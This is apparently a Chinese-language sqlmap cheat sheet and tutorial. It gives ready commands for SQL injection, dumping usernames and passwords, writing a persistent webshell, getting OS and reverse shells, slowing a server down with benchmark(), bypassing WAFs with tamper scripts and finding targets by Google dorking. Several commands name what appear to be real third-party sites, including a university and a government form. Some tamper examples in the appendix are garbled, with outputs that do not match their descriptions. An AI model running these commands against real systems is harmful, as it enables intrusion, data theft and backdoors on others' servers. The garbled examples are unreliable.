sqlmap开源又功能强大的工具,支持现在几乎所有的数据库,比国内的任何工具都强。支持get,post ,cookie注入。可以添加cookie和user-agent 支持盲注,错误回显注入,还有其他多种注入方法。 支持代理, 优化算法,更高效, 指纹识别技术判断数据库。
当给sqlmap这么一个url (http://192.168.136.131/sqlmap/mysql/get_int.php?id=1) 的时候,它会:
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
不得不说,在很多的注入里面我们都可以使用sqlmap,这是一个名副其实的神器,随着学习的过程我发现它有太多的功能了,但是网上的却又是纷繁杂乱,所以决定在这里对sqlmap的一些功能进行及时的更新,方便以后的使用,下面就开始总结:
(1)安装及使用
上github上下载就行,我们要知道sqlmap是python2版本的,所以需要下载好python2,进入文件根目录之后,按住shift右键打开命令行工具,就可以开始使用了。
一般搞我们这行的都有两个版本的py,使用的时候需要在命令行前打上 py -2
(2)一般使用
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3。
-m 从文本中获取多个目标扫描
// 文件中保存url格式如下,sqlmap会一个一个检测
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
-u指定路径,-v:显示详细的信息,有0-6级,默认为1
cookie注入至少2级 --level=LEVEL也可以
检查User-agent和Referer需要>=3
py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1
-p 指定注入的目标参数,不选择的话它会尝试所有的参数
py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id"
--method --data指定方法和post的数据 会测试提交的数据
py -2 sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"
--cookie 指定cookie,可以注入一些需要cookie的地址
py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" --level=2
--proxy 指定代理注入
py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118"
-r "path" 从文件中加载HTTP请求
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
# 比如文本文件内如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
# 当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用,或者你可以在Host头后门加上:443
py -2 sqlmap.py -r search-test.txt -p tfUPass,
# 这里参数 -r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。
--data 此参数是用来指定注入数据的,GET/POST都适用,在GET方法中将URL后面的参数部分提取出来就好,在POST方法中需要自己用Burpsuite或者F12查看URL和参数的值即可,当然也可以自动获取等。
py -2 sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
--cookie,--load-cookies,--drop-set-cookie
这个参数在以下两个方面很有用:
1、web应用需要登陆的时候。
2、你想要在这些头参数中测试SQL注入时。
可以通过抓包把cookie获取到,复制出来,然后加到--cookie参数里。
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接。
当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。
--dump 用来显示数据库字段内容
–dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T "" -D "" –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
--tamper参数是sqlmap的绕过脚本
# 我们可以在最后指定一下绕过的脚本,不止一个 有好几个可以自己选择
--tamper "space2morehash.py" 可以使用,分割多个脚本
--force-ssl HTTPS扫描HTTPS网站时需要添加的参数
py -2 sqlmap -u "https://10.10.10.137/a.php?id=1:8843" --force-ssl
一般猜解流程,以cookies和post data为例,这应该是最麻烦的
sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "pid=hgdh6527" --level 2
sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"
//得到了注入点之后执行以下命令
–-users #列数据库所有用户
–-passwords #数据库用户所有密码
--dbs # 获取数据库
-D 库名 --tables # 获取表
-D 库名 -T 表名 --columns # 获取列
--dump -D 库名 -T 表名 -C 列名 # 获取字段值
//也可以继续获取 shell
--os-shell # 然后选择页面的语言 给出一个绝对地址 就可以使用命令了 例如 ipconfig
--file-write /root/test.php --file-dest /var/www/html/1.php # 本地文件写入服务器 不死马之类的
(3)注入的简单流程
get注入
get注入需要的是我们提供目标网址,当然必须是有肉眼可识别的注入参数。
假设目标是 http://www.baidu.com/news.php?id=1&data=2
cookies注入 --level=2 refer use-agent --level=2
postdata注入需要--method "POST" --data "id=1&cat=2"
爆出对方的数据库
py -2 sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --dbs
// 假设结果显示库有3个: test1 、test2 、test3
爆出数据库下的表
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 --tables
//假设有表3个:admin,user,news
爆出表下的字段
// 获取admin表的columns
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin --columns
//假设有字段3个:id,username,password
获取id,username,password字段的内容
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin -C "id,usrename,password"
一切顺利的话 这算是完成了一次注入。可以继续写木马
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --file-write /root/test.php --file-dest /var/www/html/1.php
还可以获取交互式shell,跟上边的原理一样的
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --os-shell
关于post和cookie需要特殊对待一下
post注入的关键是获取网页的表单和指定注入的参数
第一种方式, 就是让sqlmap去自动获取表单:
sqlmap -u "http://www.xxxxxxxx.gov.cn/bxcxnew1.aspx" --forms
我们就会得到网页中提交的内容,并且让你填写数据的具体,后来想起来注入的话,是什么都无所谓了
或者是我们自己手动赋值
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -data="username=admin&password=123" --dbs
第二种, 爪好POST包后存在一个文件中, 再用 -r 参数读取, 这种方式的好处是不易出错, 当一个页面有多个表单时, 能正确指引。
将Bp中的信息保存,默认放在sqlmap根目录下, 再用 -r 读取就行了。我这命名为search-test.txt 然后把它放至sqlmap目录下,假设参数为username。password
py -2 ./sqlmap.py -r search-test.txt -p username
各种注入简单实例
# 这里关于sqlmap调用方法就不注意细节了
# access注入
sqlmap.py -u "url" ==检测。
sqlmap.py -u "url" --tables ==猜表。
sqlmap.py -u "url" --columns -T "表名" ==猜字段
sqlmap.py -u "url" --dump -T "表名" -C "字段,字段" ==暴表里面的字段的内容
# Mysql数据注入
sqlmap.py -u url --privileg ==查看权限(root什么什么的)
sqlmap.py -u url --is-dba 判断是不是root权限
sqlmap.py -u url --dbs ==获取数据库
sqlmap.py -u url --tables -D "数据库名" ==获取当中的数据库的表
sqlmap.py -u url --columns -D "数据库名" -T "表名" ==获取数据库 表中的字段
sqlmap.py -u url --dump -D "数据库名" -T "表名" -C "字段,字段" ==获取数据库表的字段里的内容
# Cookie注入
注入点:http://www.ntjx.org/jsj/DownloadShow.asp?id=9
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dbs --level 2 ==暴表名
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" -D "库名" -T "表名" --columns --level 2 #暴表的字段
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dump -T "表名" -C "字段,字段" --level 2 #暴表的字段内容
# post登陆注入 mssql
sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345"
sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs #获取数据库名
sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "数据库名" #列表
sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "数据库名" #暴字段
sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "字段,字段" -T "表" -D "数据名" #暴字段内容
# 直接拿shell或者执行命令(需要权限很大跟物理路径)
sqlmap.py -u url --os-shell
sqlmap.py -u url --os-cmd=ipconfig
# 伪静态注入
注入点:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html (注意:要加个* 哪里存在注入就加上 * 号)
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dbs #获取数据库名
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --tables -D "数据名" #获取数据库当中的表
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --columns -D "数据名" -T "表名" #获取数据库的表中的字段
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dump -D "数据名" -T "表名" -C "字段,字段" #获取数据库的表中的字段内容
# 请求延时(一般突破防火墙)
第一种方法:sqlmap.py -u url --delay 2 (注意:2是两秒的意思,也就是说2秒访问一次)
第二种方法: sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思。。)
可以组合使用 sqlmap.py -u url --delay 2 --safe-freq 3
(4)常用大全
下面是 羽翼SQLMAP系列课程笔记
#######################################################################3
常用语句
sqlmap -u http://www.target.com/id=2
--dbs
--tables -D whatA
--columns -D databaseA -T tableA
--dump -D databaseA -T tableA -C "username,password"
=================================================================================
cookie注入
注入点:http://www.ntjx.org/jsj/DownloadShow.asp?id=9
语句sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2
=================================================================================
post注入
注入点:http://testasp.vulnweb.com/Login.asp
配合Burpsuite:./sqlmap.py -r search-test.txt -p tfUPass
---------------------------------------------------------------------------------------------
自动获取
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
指定参数
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
=================================================================================
交互式写shell 需要指定根目录
---------------------------------------------------------------------------------------------
sqlmap -u http://www.target.com/id=2 --os-cmd=ipconfig
执行ipconfig
sqlmap -u http://www.target.com/id=2 --os-shell
获得一个shell即时执行命令,会生成文件 tmpbxbxz.php 和 tmppuoiuz.php
---------------------------------------------------------------------------------------------
伪静态注入点:http://www.target.com/ndex.php/Index/view/id/40.html
sqlmap -u http://www.target.com/ndex.php/Index/view/id/40*.html --dbs //注意*位置,在有注入的地方,后面你懂的
=================================================================================
请求延时
注入点:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html
参数 --delay --safe-freq
sqlmap --dbs -u http://www.target.com/ndex.php/Index/view/id/40*.html --delay 0.5 //延时0.5秒
sqlmap --dbs -u http://www.target.com/ndex.php/Index/view/id/40*.html --safe-freq //请求2次
=================================================================================
google关键字找注入点
sqlmap -g inurl:php?id=1
=================================================================================
sqlmapDDoS攻击
sqlmap -u http://www.target.com/id=2 --sql-shell
获得一个即时shell,执行
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
=================================================================================
sqlmap绕过WAF防火墙
注入点:http://www.target.com/id=2
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"
tamper文件夹下自行发挥
=================================================================================
sqlmap查看 权限及可执行函数
sqlmap -u http://www.target.com/id=2 --privileges
#####################################################################################
最后再来一个小小的参数总结吧
-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” –resume)
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “数据库” -D “表” -C “字段” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
–union-tech orderby #union配合order by
–method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2″)
–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)
–user-agent “” #自定义user-agent
–proxy “http://127.0.0.1:8118″ #代理注入
–string “” #指定关键词
–threads #采用多线程(–threads 3)
–sql-shell #执行指定sql命令
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目 标的1.txt)
–file-dest #要写入的文件绝对路径
–os-cmd=id #执行系统命令
–os-shell #系统交互shell
–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #读取win系统注册表
–priv-esc #
–time-sec= #延迟设置 默认–time-sec=5 为5秒
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注
附录 自带绕过脚本类型
# sqlmap自带的绕过脚本
apostrophemask.py UTF-8编码
Example:
* Input: AND '1'='1'
* Output: AND '1'='1'
apostrophenullencode.py unicode编码
Example:
* Input: AND '1'='1'
* Output: AND '1'='1'
appendnullbyte.py 添加
Example:
* Input: AND 1=1
* Output: AND 1=1
Requirement:
* Microsoft Access
base64encode.py base64编码
Example:
* Input: 1' AND SLEEP(5)#
* Output: MScgQU5EIFNMRUVQKDUpIw==
between.py 以“not between”替换“>”
Example:
* Input: 'A > B'
* Output: 'A NOT BETWEEN 0 AND B'
bluecoat.py 以随机的空白字符替代空格,以“like”替代“=”
Example:
* Input: SELECT id FROM users where id = 1
* Output: SELECT id FROM users where id LIKE 1
Requirement:
* MySQL 5.1, SGOS
chardoubleencode.py 双重url编码
Example:
* Input: SELECT FIELD FROM TABLE
* Output: SELECT FIELD FROM TABLE
charencode.py url编码
Example:
* Input: SELECT FIELD FROM TABLE
* Output: SELECT FIELD FROM TABLE
charunicodeencode.py 对未进行url编码的字符进行unicode编码
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Requirement:
* ASP
* ASP.NET
equaltolike.py 以“like”替代“=”
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
halfversionedmorekeywords.py在每个关键字前添加条件注释
Example:
* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Output: value'--
Requirement:
* MySQL
modsecurityzeroversioned.py 条件注释,0000
Example:
* Input: 1 AND 2>1--
* Output: 1 --
Requirement:
* MySQL
multiplespaces.py 添加多个空格
Example:
* Input: UNION SELECT
* Output: UNION SELECT
nonrecursivereplacement.py 可以绕过对关键字删除的防注入(这个我也不知道怎么说好,看例子。。。)
Example:
* Input: 1 UNION SELECT 2--
* Output: 1 UNUNIONION SELSELECTECT 2--
percentage.py 在每个字符前添加百分号(%)
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Requirement:
* ASP
randomcase.py 随即大小写
Example:
* Input: INSERT
* Output: InsERt
randomcomments.py 随机插入区块注释
Example:
'INSERT' becomes 'INSERT'
securesphere.py 语句结尾添加“真”字符串
Example:
* Input: AND 1=1
* Output: AND 1=1 and '0having'='0having'
sp_password.py 语句结尾添加“sp_password”迷惑数据库日志(很。。。)
Example: www.2cto.com
* Input: 1 AND 9227=9227--
* Output: 1 AND 9227=9227--sp_password
Requirement:
* MSSQL
space2comment.py 以区块注释替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECTidFROMusers
space2dash.py 以单行注释“--”和随机的新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1--PTTmJopxdWJ AND--cWfcVRPV 9227=9227
Requirement:
* MSSQL
* SQLite
space2hash.py 以单行注释“#”和由随机字符组成的新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1#PTTmJopxdWJ AND#cWfcVRPV 9227=9227
Requirement:
* MySQL
space2morehash.py 没看出来和上面那个有什么区别。。
Requirement:
* MySQL >= 5.1.13
space2mssqlblank.py 以随机空白字符替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECTidFROMusers
Requirement:
* Microsoft SQL Server
space2mssqlhash.py 以单行注释“#”和新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1# 9227=9227
Requirement:
* MSSQL
* MySQL
space2mysqlblank.py 以随机空白字符替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECTidFROM�users
Requirement:
* MySQL
space2mysqldash.py 以单行注释和新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1-- AND-- 9227=9227
Requirement:
* MySQL
* MSSQL
space2plus.py 以“+”替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECT+id+FROM+users
space2randomblank.py 随机空白字符替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECT\rid\tFROM\nusers
unionalltounion.py 以“union all”替换“union”
Example:
* Input: -1 UNION ALL SELECT
* Output: -1 UNION SELECT
unmagicquotes.py 以“�'”替换单引号,并在结尾添加注释“--”
Example:
* Input: 1' AND 1=1
* Output: 1�' AND 1=1--
versionedkeywords.py 对不是函数的关键字条件注释
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1,,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL
versionedmorekeywords.py 对关键字条件注释
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1,,((58,122,114,115,58),(CAST(()),(32)),(58,115,114,121,58))#
Requirement:
* MySQL >= 5.1.13
来源: https://blog.csdn.net/whatday/article/details/54774043
支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 |
all | 1 | apostrophemask.py | 用utf8代替引号 | ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' |
2 | base64encode.py | 用base64编码替换 | ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' | |
3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | ('1 UNION SELECT foobar') '1 UNION SELECT foobar' | |
4 | space2plus.py | 用+替换空格 | ('SELECT id FROM users') 'SELECT+id+FROM+users' | |
5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、”")) filters | ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' | |
6 | space2randomblank.py | 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 | ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' | |
7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | ('-1 UNION ALL SELECT') '-1 UNION SELECT' | |
8 | securesphere.py | 追加特制的字符串 | ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" | |
mssql | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | '1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' |
2 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 | |
3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers | |
4 | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' | |
5 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
6 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' | |
8 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
9 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
10 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' | |
3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | |
4 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | ('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' | |
5 | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' | |
6 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | ('1 AND 2>1--') '1 /*!30874AND 2>1*/--' | |
7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users | |
8 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | ('1 AND 2>1--') '1 /*!00000AND 2>1*/--' | |
10 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' | |
11 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like | ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1' | |
12 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
13 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
14 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# | |
16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
17 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
18 | versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# | |
MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa |
20 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 | 1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" | |
MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | |
3 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
4 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
5 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
6 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
